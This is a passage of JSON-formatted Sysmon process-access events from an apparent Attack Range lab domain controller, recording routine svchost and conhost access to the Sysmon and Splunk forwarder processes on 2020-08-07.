11:54:36.344","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4085,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:36.344\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:36.344","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4086,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:36.344\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:36.344","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4087,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:36.344\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:36.344","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4088,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:36.344\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:36.344","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4089,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:36.344\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:36.344","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4090,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:36.344\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:36.344","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4091,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:36.344\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:36.344","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4092,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:36.344\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-40FC-5F2D-0000-0010BBC90500}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:36.344","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-40FC-5F2D-0000-0010BBC90500}","TargetProcessId":"4388","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 